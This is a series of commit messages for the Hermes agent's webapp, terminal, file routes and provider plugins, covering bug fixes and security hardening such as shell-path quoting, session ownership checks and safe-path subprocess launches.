Capping the warning at three failures did not bound its length: three long names or paths were still joined in full. Names over 48 characters are now shortened with a middle ellipsis, the warning stops naming failures past 240 characters and counts the rest, and the full list rides in the detail whenever anything is shortened or left out. The formatting moves to drop-warning.ts.
The oversize reason no longer carries the filename (2bd8355307ff), and the edit composer passed the staging error straight to notifyError, so an oversized file dropped into a message being edited said only 'The file is larger than 16 MiB...' and several such files gave identical errors. The edit composer now collects staging failures and reports them in one dropWarning error toast, as the main composer does: each name is shown, shortened past 48 characters, the limit stays, and the full names ride in the detail. Upload failures after staging are reported as before. No new strings.
In the browser, Attach → Files… with a file over 16 MiB rejected inside selectDesktopPaths and nothing caught it, so the user saw nothing. pickContextPaths now reports the refusal under a new "Attach failed" title, as pickImages does.
Each reason ends with a period and the warning joins items with '; ', so it read '…instead.; Could not attach…' and '…instead.; and 5 more'. A reason another item or the count follows now loses its trailing period; the last reason and the detail keep theirs.
The same refused drop showed as an error in a message being edited and as a warning in the main composer. The bounded summary is now a warning in both; upload failures after staging stay errors.
Reattaching a browser terminal whose full-screen program (vim, htop,
hermes --tui) had written more than 1 MiB on the alternate screen painted
fragments of its output, and nothing redrew until the window was resized
or Ctrl-L was pressed.

The reattach replay is the last 1 MiB of output, which then starts
mid-way through the program's screen updates. The resume RESIZE repeats
the unchanged size, and an unchanged TIOCSWINSZ sends no SIGWINCH (checked
on a real PTY: 0 signals; a one-row step and back: 1).

When the server reports a trimmed replay, the browser now steps the size
one row away before sending the real size, so the foreground program
redraws as after a window resize. No input reaches the program (host
shells must not get Ctrl-L), and the replay contract is unchanged. Known
limit: modes set before the trimmed tail (alternate screen, mouse
tracking) are not restored.

Refs #93508 (review P3)

(cherry picked from commit b6de9130b9873b23c0af5b76814efa1fd29e01ee)
Typing `exit` (or Ctrl-D) in a browser terminal left the tab open with
"Terminal expired or exited. Press Enter to create a new shell." Native
Desktop closes the tab when its shell exits.

The server closes the socket with 4410 both when the shell exits and when
it ends the shell itself (retention expiry, a deleted profile, the gateway
stopping), and the browser read every 4410 on a persistent shell as
`expired`.

A shell that exits by itself now closes with the reason "Process exited"
(the drain's EOF, and an attach to a shell that died while detached). The
browser reports that close as a process exit, so the session hook removes
the tab the way it does in native Desktop. A 4410 without the reason still
shows the expired message and keeps the tab. The dashboard chat only logs
the close reason, so it is unchanged.

Refs #144648 (WA-6)
Refs #144704
Dropping files into a terminal typed each path with POSIX single quotes
unless the shell name contained powershell, pwsh or cmd, or was fish, csh
or tcsh. nu, xonsh, elvish and an SSH tab's remote shell have other
quoting rules, so a name could end the quotes there. In cmd with delayed
expansion on, !NAME! inside the double quotes still expanded and a lone !
was dropped. The substring match also gave cmd quoting to any shell whose
path held "cmd".

The quoter now matches the shell's program name (no directory, no .exe,
no login dash) and names the POSIX shells it quotes for: sh, ash, bash,
dash, ksh, mksh and zsh. A shell it does not name gets a path only when
the path is a plain word every shell reads literally; any other path is
left out and a warning names it and the shell. In cmd a path holding !
is left out the same way: nothing tells the terminal whether delayed
expansion is on, and no quoting keeps ! literal both ways.

The quoter is shared, so native Desktop changes too (a custom shell or an
SSH tab). Its POSIX fallback had the same bug.

The tests read the typed text with a tokenizer for each named shell's
rules (POSIX, csh, fish, PowerShell, cmd with and without delayed
expansion).

Refs #144648 (WA-7)
Refs #144704
After a trimmed replay the browser sends a resize one row away and then
the real size, so the foreground program redraws. The host terminal pump
applied both at once, and a program that reads the size late can handle
both SIGWINCHes after the size is back where it was. Node reports a
stdout 'resize' only when the size it reads has changed, and Hermes' TUI
redraws on that event, so nothing redrew: on a real PTY a Node 26 child
got the signals and reported no resize.

A resize back to the size before the previous one now waits until the
program has written output since that one (a program that redraws on a
resize does), or one second for a program that does not. Other resizes,
including a drag's, are applied at once as before. The POSIX bridge reads
the PTY size with TIOCGWINSZ; a bridge that cannot report it (ConPTY)
never waits.

Known limit: output the program wrote before the step but read after it
counts as an answer, so a program printing continuously can still miss
the step.
The PTY redraw test polled with asyncio.sleep, which the code health check
rejects (HX013). It now waits with tests.waiting.async_wait_until.
The three close-reason tests took test_pty_session.py past 1,000 lines.
They are a topic of their own, so they now live in
test_pty_session_close_reason.py and import FakeBridge and FakeWS from
test_pty_session.py. The tests themselves are unchanged.
The no-wait case of the redraw test set the wait to zero and required a
real program to miss the intermediate size. A program that runs between
the two size changes sees both and reports them correctly, so that case
could fail on a busy runner.

The real-PTY test now checks only that Python and Node watchers see both
sizes. A new test drives _resize over a scripted bridge that prints only
when told to. The step back stays unapplied while nothing is printed,
output read before the step does not release it, and output after the
step does.
A shell that exited while no tab was attached still left an expired
tab. On redial HostTerminalRegistry.resolve refused the dead session
before PtySession.attach could send the exit reason, and once the reaper
had removed the session the route only knew the token was gone. Both
cases closed with the generic expiry reason, which keeps the tab and
offers a new shell.

The registry now raises TerminalExited (a TerminalExpired) for a dead
session that is still registered. The server always removes a session
before closing it, so only the shell's own exit leaves a dead one
behind. When the reaper takes a shell that exited, the registry
remembers its token and owner identity for the retention TTL, at most
64 of them, and a redial by that identity also gets TerminalExited.
The route closes it with 4410 and 'Process exited', the close an
attached tab gets. Deleted profiles, expiry and explicit closes keep
the generic reason.

The browser tab reads that close before the handshake too. A redial
reports a process exit, and resuming a saved shell (a remount or a
page reload) rejects with the 'exited' signal, which closes the tab.

_admit, _read_frames, the constants block and the import block are not
touched.

The new route test runs a real shell that exits after its tab has
detached, before and after the reaper runs. At aba0914d8c96 both cases
fail with 'Terminal or profile expired; open a new terminal'.
HostTerminalRegistry.resolve checks the redial's profile off-loop after
it captures the session. If the reaper takes a shell that exited during
that check, it records the exit, but resolve then saw the session gone
and raised the generic TerminalExpired without looking at that record.
The tab stayed open and offered a new shell.

When the session is gone after validation, resolve now consults the
exit record the same way it does for a token that is already gone, so
the owner's redial gets TerminalExited and the route closes it with
'Process exited'. The exit record is only read after the owner identity
and profile checks have passed.

_admit, _read_frames, _queue_frame and the constants block are not
touched.

The new test holds profile validation on an event, reaps the dead
shell while it is held, then releases it. At 9e80e5890dd7 it fails
with TerminalExpired.
test_a_shell_reaped_while_its_redial_is_validated_closes_the_redial_as_an_exit went into
test_pty_session.py with 3d789e564a92, which put that file back over 1,000 lines. Move it
unchanged into test_pty_session_close_reason.py, which already imports FakeBridge.
fix(webapp): open large HTML previews, explain browser Export profile, preview staged text on SSH profiles
(cherry picked from commit 750c83d922fba6604588e07e4621420728ae50fa)
_fs_backend now maps a failed adapter open to the 503, so the same except in
_remote_fs_backend could no longer fire. Read-data-url and download keep their
503 through _fs_backend.

The 503 folds several causes into one answer: a refused or timed-out dial, no
ssh on PATH, no host or user set. Before the fix those routes logged a 500
traceback; now _fs_backend logs one warning with the underlying cause so an
operator can tell them apart.

The docstrings now say what is true: only an uncached adapter dials. Once one
is cached, a host that goes down fails the read itself, which each route
answers on its own (list read-error, read-text 502, git-root null).

The regression test now goes through the real _fs_backend with only the SSH
environment faked, covers POST /api/fs/write-text, checks the log line, and,
once the host answers, that a missing folder or an unreadable file keeps its
own answer instead of the 503.

(cherry picked from commit 75e893c31913f09682674e8f646a8e41fa338e4c)
The browser stream bridge sent only the path and profile, so a ticket for
/workspace/clip.mp4 resolved in the profile's shared sandbox. A session
bound to a host workspace runs in its own <base>:ws:<digest> container, so
its clip was missing or another session's copy played.

getGatewayFileStreamUrl takes an optional sessionId, the transcript player
and tool media slots pass their session, and /api/files/stream maps a
session_id through _fs_download_path (#143655) for a cookie-authenticated
request too. A session the profile does not own is a 404, and a symlink or
.. out of the sandbox is not translated. Native Desktop has no stream bridge
and is unchanged.
/api/fs/read-text took no session, so a Docker session's text preview read
the profile's shared /workspace copy. A file: URL naming a container path
(file:///workspace/x) was never translated at all: read-text answered 404
and a file: clip streamed the shared copy even with a session.

read-text takes an optional session_id and resolves through
_fs_download_path (#143655), as download does. _agent_fs_path translates the
path a POSIX file: URL names, so the URL spelling maps like the bare path;
the .. and symlink refusals still apply. readDesktopFileText and
readDesktopFileDataUrl take an optional session scope that a gateway read
sends and a local (native) read ignores; a preview tab passes the session
that owns it, and a chat link passes its transcript's session.
/api/fs/write-text resolved its path with _fs_path alone: no session and no
container mapping. A preview of /workspace/note.txt read the session's
sandbox copy, but Save wrote the gateway host's /workspace/note.txt, which
is normally missing (400) and is never the file that was read.

write-text takes an optional session_id and resolves through the same
_fs_download_path read-text uses (#143655), with decode_fallback off so a
write never lands on a decoded twin of its name. writeDesktopFileText takes
the same optional session scope, and the preview Save passes the tab's
session. A session another profile owns is a 404 and nothing is written; a
symlink out of the sandbox is not followed. Native local saves are
unchanged.

Audit: write-text is the only renderer path that saves a file it read.
mkdir, the managed uploads and the image paste write into the managed root
or the upload staging folders, never a session's /workspace.
/api/files/stream served only files on the gateway host, so a clip on an
SSH profile's workspace never played: the ticket route and the stream
route both looked for it on this host and answered 404.

The stream now picks its backend with _remote_fs_backend, the rule
read-data-url and download use: a host-staged paste or pick stays on this
host, every other path is the SSH machine's. An SSH clip gets download's
checks (regular file, sensitive resolved path) plus the host stream's
media-type and size caps, and answers 200, 206 with Content-Range or 416
with Content-Range: bytes */size. The adapter's stream_file reads one range
with tail -c +N | head -c L over its existing ssh runner, the path quoted.
A stream ticket for an SSH clip captures it on that machine, like a
download ticket, so its profile, path and owner checks are unchanged. An
unreachable host is #144661's 503.
Passing the tab's session to LocalFilePreview grew PreviewPane past its
FUNC_LINES cap (314 > 312 on main). The artifact-or-file body moves into a
small PreviewDocumentBody component; what renders is unchanged.
With an SSH profile the stream, ticket, read-text and write-text routes returned before the session lookup ran, so a missing, foreign or blank session_id still got the file. Each route that takes a session_id now looks it up in the requested profile first (404 when that profile does not own it, a blank id included, as main answers), whatever backend then serves the file. A ticketed stream re-checks it, so a ticket stops playing once its session is gone. read-data-url and fs/download, which the Webapp now sends a session to, check it the same way.
A Range position longer than Python's int() digit limit (bytes= followed by 5000 nines) raised and the stream answered 500. A position is now converted only up to 19 significant digits; a longer one reads as past every file: a first byte there is 416, a last byte there is the end of the file, and a suffix that long is the whole file, as RFC 9110 reads them. Other ranges answer 200/206/416 as before.
Preview reads, Save and media tickets sent the tab's session_id with the window's profile. A Bot or pooled chat can belong to another profile, and the gateway looks a session up only in the profile the request names, so a file main read for that chat answered 404. The file facade and the media stream now resolve the session's owner through the store's session-owner lookup (sessionFileOwnerScope) and send the id with that profile, plus its connection when it is not the ambient one. When no owner is known they send no session at all and use the window's profile, as main did.
Reads translate /workspace through the session's own sandbox and then the
profile's shared ones. A Save took the same route, so when the session's copy
was gone it overwrote the shared copy, and the editor's stale-file check (a
re-read that also falls back) could not notice. A session's write now stays in
the first existing sandbox; a file found only further down answers 409 "File is
no longer in this session's workspace", which the editor shows as a failed
Save. Reads keep the fallback.
The stream route now picks the SSH backend before it converts a file: URL, and
_is_host_file only knew a native absolute path, so a staged clip spelled
file:///... went to the SSH machine, which refuses every file: URL (400, or 503
with the machine down). _is_host_file now reads a file: URL as the native path
it names, decoded once as _fs_path decodes it, and an encoded separator is
not a host file. That covers the stream, its ticket, read-data-url and
download, which all choose through _remote_fs_backend; read-text and
write-text never serve host files for an SSH profile. The staging rule
itself is unchanged: only a file directly in the image cache or uploads folder
counts.
Each session-scoped file route checked its session_id with _fs_owned_session,
discarded the row, and _fs_download_path loaded it again. The route now passes
the row it already has into path resolution, so the ownership check stays in
_fs_owned_session and runs once per request (stream, both ticket routes,
read-text, read-data-url, download and write-text). The lookup itself is still
get_session_detail: there is no lighter existing read that answers the same
404/503 for a session another profile owns.
The Save guard took the session's own sandbox to be the first one whose
directory still existed. When the session's whole sandbox directory was
deleted, the shared profile sandbox became that first one, so a Save the
read had resolved into the shared copy overwrote it. The session's own
sandbox is now the first name in the translator's order whether or not its
directory exists; a Save that resolves into any later sandbox answers the
same 409 as a missing file ("File is no longer in this session's
workspace"). Reads keep the fallback.
_is_host_file now decodes a file: URL before it resolves the path, so
file:///tmp/clip%00.mp4 reached Path.resolve() with a NUL, whose ValueError
escaped as a 500 from the stream, read-data-url and download routes. A path
that cannot be resolved is not a host file: the request goes on to the
workspace, which answers 400 "Invalid path" as before the decoding.
With terminal.docker_mount_cwd_to_workspace on, a session bound to its own
workspace runs in a container that mounts that workspace at /workspace: the
gateway turn's TERMINAL_CWD is the session's cwd, which bind_turn_workspace
also registers and hashes into the :ws: key. The file routes still took the
mount root from the profile's terminal.cwd (or the process cwd), so a preview
showed that folder's copy and Save wrote it while the agent's file stayed
unchanged.

A session with a workspace key now mounts the cwd that key hashes (the live
binding's cwd, else the session row's), looked up in the session's profile
scope; a cwd whose digest does not match gives no mount root. Its sandbox
is still tried after the mount. MEDIA delivery and requests without a
session binding keep the profile's cwd.
With terminal.docker_shared_container_key set, every session reuses one
shared:<key> container, which mounts the cwd of the session that created
it. The previous commit took a cwd-mounted session's /workspace from that
session's own cwd, so a second session at another folder read that folder,
and Save (which own_sandbox_only allowed) overwrote it while the agent's
file in the container's real mount stayed unchanged.

Nothing records which cwd a shared container mounted: shared containers
carry no mount fingerprint label, and a cross-process attach never inspects
the container's mounts. So a session on a shared container reads from the
profile's cwd again, as before the previous commit, and a session Save that
resolves there answers 409 "File is no longer in this session's workspace".
Per-workspace containers still mount the session's own cwd.
The gateway served the Desktop renderer's page to browsers with no CSP, while the sign-in handoff pages carry one. The page now carries a policy derived from the built bundle: entry and lazy chunks, blob: plugin modules, Shiki's WebAssembly, same-origin REST and sockets, plugin HTTPS APIs, media, previews and embeds. Inline scripts stay allowed because sandboxed srcdoc previews inherit the page's policy and a nonce would stop their scripts. No eval, no object, no cross-origin base or form posts, and no page may frame the Webapp. The dashboard's page is unchanged.

Refs #144648 (WA-11)
Where nothing checks who redeems a one-use launch link (macOS, the BSDs, illumos, WSL), hermes webapp printed it, and any local user who read it first could redeem it within its 60 s. TCP loopback has no peer-credential call on those platforms. The launcher now writes the link into a 0600 page in the gateway home's user-only webapp folder and opens that page, so the browser launcher's command line carries only the page's path and nothing is printed. It still prints the link where it cannot open a browser and on WSL.

Refs #144648 (WA-12)
A standalone profile that turned on Web Access without its own webapp.port bound 9120, which the default gateway's Webapp holds, so nothing was served and the LAN sign-in callback was registered on the other gateway's address. Start now gives such a profile the first port above 9120 that no other Hermes home claims and nothing listens on, and writes it to that profile's webapp.port, so the gateway binds it, the launcher prints and opens it, the callback names it, and it stays across restarts. The default profile keeps 9120, a webapp.port the user set is never replaced, and with no free port Start refuses and names the setting.

Refs #144648 (WA-13)
Web Access read a standalone profile's webapp.port from config.yaml as
written, so a port the managed scope sets read as none. Start then chose
9121 and registered the sign-in callback on it, saving dropped the port
because the managed layer pins it, and the gateway still bound the managed
one: sign-in returned to a port nothing served.

Read the port from the file with the managed overlay on top, as the
gateway loads it, still without the defaults. A managed port is kept,
nothing is written over it, and the callback names it.
With HERMES_HOME=./my-home the launch page's path stayed relative, so
Path.as_uri() raised ValueError after the page was written. That skipped
the printed fallback and left the page behind. Build the page path from
the absolute home.
On Windows _open_privately() returns False at once and leaves the earlier
page in place, so the test could only fail there. Mark it posix like the
other page tests, which also puts it in the macOS lane's marked tests.
This reverts commit 859db1d848de562b2396e490ec09fc11ecef2674.
The Webapp page CSP (WA-11) is reverted: ::preview widgets and artifacts
render in sandboxed srcdoc frames that inherit the page policy, and the
libraries they load from cdn.jsdelivr.net were blocked. Headless Chromium
showed a script-src-elem violation, and the CDN was never requested.

This test reads whatever policy the page sends, without importing it, and
fails if that policy blocks a widget's script or stylesheet from the CDN.
A future policy then has to move previews to documents of their own first.
Each standalone profile's gateway has its own change lock, so two first Web Access
starts could both probe the same free port before either saved it, and both kept it.
Web Access now chooses the port and writes it to that profile's webapp.port while
holding a file lock under the shared Hermes root (the auth file-lock helper .env writes
already reuse), before the bundle build and registration. A Start that fails after
that keeps the port as its own.
_own_port hand-rolled a raw read plus the managed overlay. It now reads
load_user_config_effective(home / "config.yaml"), the loader hermes_cli/AGENTS.md names
for presence-sensitive readers: the user file, ${VAR} expansion and the managed overlay,
with no defaults merged, so a port is still only one the user or the administrator set.
The threaded test swallowed its barrier's timeout, so if the second Start
was delayed until the first had saved, the unfixed code also saved 9123 and
9124 and the test passed. Threads also could not show that the lock holds
across gateway processes.

Each Start now runs in a spawned process with its own home under one root.
The first holds the port it chose, unsaved, in the faked probe until the
second reaches the port claim: it either waits for the port-claim lock or,
without a lock, probes the same port. Any synchronization timeout fails
the test. At 070c361b77c5 both save 9123. It is not POSIX-only: on Windows
the lock is a cross-process byte lock and spawn is the default start method.
plan() chose and saved a standalone profile's webapp.port before checking the Nous sign-in, so a Start refused with "Sign in to your Nous account under Providers first." still wrote the port to config.yaml. Check the sign-in first, so a precondition refusal writes nothing.
The port-claim lock lives in the Hermes root's webapp folder, beside the Webapp's credentials. _file_lock created that folder with the umask's mode (0755/0775) and the lock 0644/0664. Create the folder 0700 and the lock 0600 before taking the lock, and close an existing folder other users can reach with the helper the credential writers use. _file_lock is shared by every Hermes lock and takes no mode, so the files are created here first.
On macOS webbrowser.open can return True with no page the user sees: over SSH osascript opens the browser on the Mac's own screen, and a sandboxed browser may refuse a file: page in a hidden folder. After a private launch, say how to get the link. The docs no longer say an SSH session always prints the link: that holds on the BSDs and illumos. The private-launch docstring notes that on macOS the URL reaches osascript on stdin, so the page mainly protects the BSDs and illumos.
-p re-homes only the process it is given to, so after `hermes -p work webapp` the hint's bare `hermes webapp --no-open` opened the sticky profile's Webapp instead. The hint now names the profile when -p chose one a bare rerun would not pick.
Keep both constants next to _INPUT_BATCH_FRAMES: _LIVENESS_PROBE_SECONDS from this branch and _RESIZE_ANSWER_SECONDS from main's terminal redraw fix.
The pronounless-action detector's "relaunching it on <provider> [via acpx]"
transition cue matched every registered provider name and alias, so a final
answer like "Launching it on Nous." kept the turn going. Restrict it to
external_process (ACP agent) profiles: their name, aliases and binary
(process_command), which is how agents refer to an ACP CLI ("on Copilot via
acpx" names the `copilot` binary). Main's answers for the ACP announcements
are unchanged.
LEFT_CORE rows gain three generic fields for a model-provider plugin:

- providers: the ids and aliases the plugin's profiles register. A name
  nothing resolves to gets the install line appended on every "unknown
  provider" surface (runtime resolution / Desktop error text via
  auth.resolve_provider, /model, `hermes model`, `hermes auth add`);
  resolve_runtime_provider installs the plugin first for a home that uses it
  (the CLI and Desktop resolve the provider before the agent whose start runs
  the migration exists); and hermes_cli.providers.get_provider never lets the
  models.dev catalog stand in for such a name while the plugin is not loaded
  (models.dev lists `github-copilot` at api.githubcopilot.com with
  GITHUB_TOKEN: it would have sent a raw GitHub token there).
- profile_env: env names core kept profile-managed. env_loader's
  _PROFILE_MANAGED_ENV_KEYS and config._EXTRA_ENV_KEYS read them statically
  (env_loader runs before discovery), and the generic env writers refuse them
  while the plugin is absent (the executable/argv authority its profile
  declares once installed).
- notice: one more per-home sentence on every migration outcome.

First consumer: the github-copilot row (providers copilot + copilot-acp and
every alias). It is in use when copilot/copilot-acp is a provider the home
routes through: model, fallback chain, auxiliary tasks, delegation and its
fallback chain, MoA presets, cron job pins, auth.json active_provider, or
HERMES_INFERENCE_PROVIDER. A GH_TOKEN alone is not use. COPILOT_GITHUB_TOKEN
and the two base-URL overrides stay out of children as provider env (Tier 2),
as when core shipped Copilot. Its notice tells a profile with no token the
plugin reads (no COPILOT_GITHUB_TOKEN/GH_TOKEN/GITHUB_TOKEN, no `manual`
credential-pool row or providers.copilot login: a gh_cli pool row was seeded
from `gh auth token`) to run `hermes auth add copilot`; the plugin no longer
reads gh or the Copilot CLI's token files. Read-only, never runs gh.

The unknown-provider hint helper moves out of auth.py (over the size cap)
into auth_error_copy.unknown_provider_hint.
Provider pages (en + zh-Hans) replace the built-in Copilot sections, table
rows and env rows with a pointer: `hermes plugins install github-copilot`
(labs: built by Nous Research, not supported), auto-installed for profiles
that already use copilot/copilot-acp, sign-in with `hermes auth add copilot`
or COPILOT_GITHUB_TOKEN/GH_TOKEN/GITHUB_TOKEN (gh and Copilot CLI logins are
no longer read). The model-provider plugin guide gets one table of every
ProviderProfile field and hook in providers/base.py, and its examples point at
the labs plugin. The hermes-agent skill references and the
cli-config.yaml.example provider list drop the built-in Copilot rows.
Over plain HTTP from another machine the bot screen viewer could not
attach: it asked the bot for a viewer first, then hashed the minted id
with crypto.subtle, which insecure contexts lack, so the pane showed
"Cannot read properties of undefined (reading 'digest')". noVNC needs a
secure context as well.

Without crypto.subtle, never request a viewer and show a readable
notice that bot screens need HTTPS or an SSH tunnel to 127.0.0.1
(all four plugin locales). Installing and starting the screen are
untouched; the docs list the viewer as HTTPS-only.

Refs #93508 (review P3)

(cherry picked from commit cdff1dca7861d22f2363615d951bfaa85aef6825)
Insecure contexts expose no navigator.mediaDevices. Dictation guards
for that and says "This runtime does not support microphone recording",
but GPT-Live voice conversation called getUserMedia unguarded after
opening a peer connection, so the toast showed a raw "Cannot read
properties of undefined (reading 'getUserMedia')".

Fail before opening the peer with a NotSupportedError, which micError
now maps to the same "microphone unsupported" copy. Barge-in gets the
same guard: its monitor no longer reaches for the missing API (its
catch had swallowed the TypeError, so it was silently inert before).

Refs #93508 (review P3)

(cherry picked from commit da5e6f68394dd921fbffbc7150403b19af501ac3)
Browsers keep secure-context APIs from a plain-HTTP origin that is not
loopback: crypto.subtle (the bot screen viewer), mediaDevices (dictation
and live voice) and Notification (system notifications). Nothing told
the user before they hit the missing feature.

hermes webapp and hermes webapp --status now print a note naming those
features and the way to keep them (HTTPS through webapp.public_url, or
an SSH tunnel to 127.0.0.1) when the address they open or print is
plain HTTP on a host other than localhost, *.localhost, 127.0.0.0/8 or
::1, which browsers already treat as secure. The Webapp docs list the
same features.

Refs #144648 (WA-14)
The gateway reports its loopback dial origin, so the --status note never fired. Work out the
browser-facing address as webapp-launch does (webapp.public_url, else the LAN address Web Access
registered sign-in for) and print the note for that address.
navigator.clipboard is undefined on a plain-HTTP origin other than loopback, so the browser terminal pastes nothing, its right-click Paste stays disabled and pasting an image finds no clipboard image. The remote wake word uses getUserMedia like dictation and live voice.
On an insecure origin the Webapp has no mediaDevices, so dictation and live voice reported the generic "This runtime does not support microphone recording." The Webapp now says to open it over HTTPS or through an SSH tunnel to 127.0.0.1, like the bot screen does. Native Desktop keeps the old text.
Web Access keeps its LAN sign-in registration after webapp.host goes back to a
loopback bind. webapp-launch reads that registration only behind the sign-in
gate; a private Webapp opens its loopback launch link. --status still picked the
registration, so it warned that plain HTTP loses features while launch opened a
secure loopback address.

_browser_address now falls back to the registration only when the listener is
sign-in gated, using the condition gateway.run_api.start_gateway_api applies.
GLM-5.2 became the silent default (the model Hermes lands on when the user
never picked one) in #64635 as a capable low-cost pick. GLM-5.3 has since
superseded it at about the same price on Nous Portal and OpenRouter, with
the same 1M context, and both curated catalogs already list it.

Move every copy of the default together:

- PREFERRED_SILENT_DEFAULT_MODEL and the OpenRouter "default" description.
- The "default": true label in website/static/api/model-catalog.json,
  regenerated with scripts/build_model_catalog.py, so clients rotate from
  their cached catalog without a release.
- The TUI's _resolve_model last resort, which hardcoded "z-ai/glm-5.2" and
  would drift on every rotation; it now reads the constant from the
  data-only models_catalog_static module.
- The example manifest in the model catalog reference docs.

The new TUI test pins the no-model fallback to the constant, and the
manifest contract test is renamed since it checks whatever the constant is.
The positional-construction contract test built one positional value for
every field except supports_streaming. The seam fields added since
(ambient_credentials, picker_catalog, static_models,
catalog_credential_files) are keyword-only for the same reason, so the test
passed them positionally and failed with a TypeError. Select the positional
fields by kw_only; the assertion is unchanged.
fix(webapp): detach a host terminal whose tab closes behind a full input queue
Delete the in-tree model-provider plugins plugins/model-providers/copilot/
(provider `copilot`: Copilot API via the GitHub->Copilot token exchange) and
plugins/model-providers/copilot-acp/ (provider `copilot-acp`: Copilot CLI over
ACP). Both ship as ONE plugin, `github-copilot`, in
NousResearch/hermes-labs-plugins; the LEFT_CORE row added before this commit
installs it for every profile that routes through copilot/copilot-acp, and
every "unknown provider" surface names `hermes plugins install
github-copilot`. Core keeps no Copilot code: the generic seams the plugins
fill stay, and agent/copilot_acp_client.py stays as the deprecated alias the
kimchi-acp catalog plugin subclasses (agent.acp_client.ACPClient is the
public base). This commit is revertible on its own: reverting it restores the
bundled providers (the labs plugin stays inert on a core that bundles them).

Test files that only tested the plugins move to the labs plugin's tests:
  tests/plugins/model_providers/test_copilot_acp_client.py
  tests/plugins/model_providers/test_copilot_acp_deprecation.py
  tests/plugins/model_providers/test_copilot_auth.py
  tests/plugins/model_providers/test_copilot_catalog_oauth_fallback.py
  tests/plugins/model_providers/test_copilot_context.py
  tests/plugins/model_providers/test_copilot_custom_model_ids.py
  tests/plugins/model_providers/test_copilot_hosts.py
  tests/plugins/model_providers/test_copilot_pool_exchange.py
  tests/plugins/model_providers/test_copilot_profile.py
  tests/plugins/model_providers/test_copilot_refresh_notice.py
  tests/plugins/model_providers/test_copilot_setup.py
  tests/plugins/model_providers/test_copilot_token_exchange.py
  tests/agent/test_copilot_initiator.py
  tests/agent/test_copilot_native_vision_headers.py
  tests/hermes_cli/test_copilot_in_model_list.py
  tests/hermes_cli/test_copilot_model_api_mode.py
  tests/hermes_cli/test_copilot_runtime_api_mode.py
  tests/hermes_cli/test_copilot_runtime_api_mode_stale.py
  tests/hermes_cli/test_model_switch_copilot_api_mode.py
  tests/e2e/core/providers/test_native_copilot_acp.py
  tests/e2e/core/providers/test_native_copilot_acp_errors.py
  tests/e2e/core/providers/test_native_copilot_acp_streaming.py
  tests/fakes/providers/copilot_acp.py

Copilot-behaviour cases extracted from generic test files (same move):
  test_credential_pool (Copilot pool seeding / gh / env suppression),
  test_reasoning_carriers (Copilot carriers), test_run_agent (Copilot gpt-5
  reasoning, xhigh), test_run_agent_codex_responses (Copilot 401 refresh),
  test_codex_transport (Copilot reasoning), test_auxiliary_main_first (vision
  headers), test_private_credential_writers (JWT store row),
  test_provider_client_seam (copilot-acp client), test_provider_wire_snapshot
  + its fixture (copilot / github-models cells), test_api_key_providers,
  test_auth_commands, test_credential_pool_off_loop (exchange single-flight),
  test_external_process_auth_status (Copilot CLI token stores),
  test_external_process_provider_seam, test_model_cache_fallback_rows,
  test_model_validation, test_models_relay_base_url (copilot row),
  test_multiplex_cli_cache_scope, test_provider_catalog, test_cold_start_gil_stall.

Tests that used Copilot only as an example provider now use a fake
ProviderProfile (or another in-tree provider) with the same assertions:
  test_auxiliary_client, test_auxiliary_named_custom_providers,
  test_init_fallback_on_exhausted_pool, test_intent_ack_continuation,
  test_models_dev, test_turn_retry_state, test_one_turn_route_publish,
  test_mcp_catalog_env_boundary, test_plugin_provider_picker_residue,
  test_delegate_external_provider, test_delegation_profile_route,
  test_overlay_slug_resolution, test_installed_plugin_discovery, plus the
  generic halves of test_run_agent_codex_responses, test_codex_transport,
  test_api_key_providers, test_external_process_auth_status and
  test_model_cache_fallback_rows.
Conflict: hermes_cli/env_loader.py import block. Kept the branch's
left_core_migration.profile_env_names import and main's ConfigBackend
switch (load_yaml_file_readonly no longer imported; _load_secrets_config
reads through config_backend.read_config_doc_readonly).

No main commit since 0c771d7a5b touches Copilot code; nothing to port.
A provider's request_headers(user_initiated=True) answer (turn attribution,
e.g. a premium-billing initiator header) was consumed when the first
attempt's payload was built. A 429/5xx retry or a fallback activation
rebuilds the payload for the SAME API call, so the retried attempt went out
with the route's default (agent) attribution instead of the user's.

The route now claims the call's api_call_count; every attempt of that call
re-applies the headers, tool-loop follow-ups (higher count) do not, and a new
turn / session reset clears the claim.

Repro (fake profile + local HTTP stand-in, scratch probe_xinit.py): first
attempt carries the header, the retry did not (codex_responses 500 retry,
chat_completions 429 retry); both attempts carry it after this change.

The turn flag is consumed exactly once per user turn, before the route is
asked: a route with no attribution, or a request_headers hook that fails
(route_answer swallows plugin errors), no longer leaves it set, which billed
the next tool-loop call as user-initiated (r4-review P2-5).
The one-shot profile extraction child ran as python -m hermes_cli.plugin_host_child with no
cwd and no safe-path flag, so the directory Hermes was launched from sat ahead of PYTHONPATH
on sys.path and a hermes_cli/ package there ran instead of the Hermes tree's. Spawn it with
-P and cwd=<hermes home>, matching the long-lived plugin host.
python -m / -c put the current directory ahead of PYTHONPATH and site-packages, so a
hermes_cli/, tui_gateway/, agent/ or plugins/ package in the directory Hermes runs in
(a cloned repo, a task workspace) ran in place of Hermes' own. Spawn these children with
-P (safe path, Python >= 3.11) and keep their cwd: TUI slash worker, TUI cli.exec, setup
import-agent, profile uninstall, gateway restart watcher, plugin validate probe, Google
Meet bot, and the codex hermes-tools MCP server config. The validate probe now names the
Hermes tree on PYTHONPATH instead of finding providers through the cwd.
Fold the slash worker's -P note into the existing PYTHONPATH comment; the file is over the cap.
With cwd set to the Hermes home, a relative HERMES_HOME (or plugin dir)
resolved a second time from inside it, so extraction under
plugins.isolation: host failed ("No __init__.py in hh/plugins/...").
Pass absolute paths for cwd, HERMES_HOME and the plugin dir. Reviewer
probe with HERMES_HOME=hh: provider registered again.
An existing contract (test_windows_gateway_job_teardown) reads the
watcher argv as [python, -c, source, ...]; -P broke that shape. The
watcher source now removes the cwd entry -c puts first before importing
anything but sys (builtin), with the same effect: a subprocess.py or
time.py in the launch directory is no longer imported (checked live).
R4 P1-1 (hosts H1 / creds CR-1). A $HERMES_HOME model-provider plugin mirrors its
profile into the process-wide PROVIDER_REGISTRY, and the mirror never goes away. In a
process serving several profiles (multiplex gateway, Desktop serve), a profile WITHOUT
the plugin then saw the row: env auto-detect (whose ambient_credentials skip reads the
bound home's profiles) selected it from a stray token, and the generic env ladder
returned that raw token for the plugin's endpoint.

PROVIDER_REGISTRY is now a HomeScopedRegistry: plain dict storage, but every read
(get / [] / in / iteration / items) hides a plugin-mirrored row (and alias keys pointing
at it) whose provider has no profile in the bound home. One filter covers
canonical_registry_rows, registry_lookup, resolve_provider, _env_key_auto_detected,
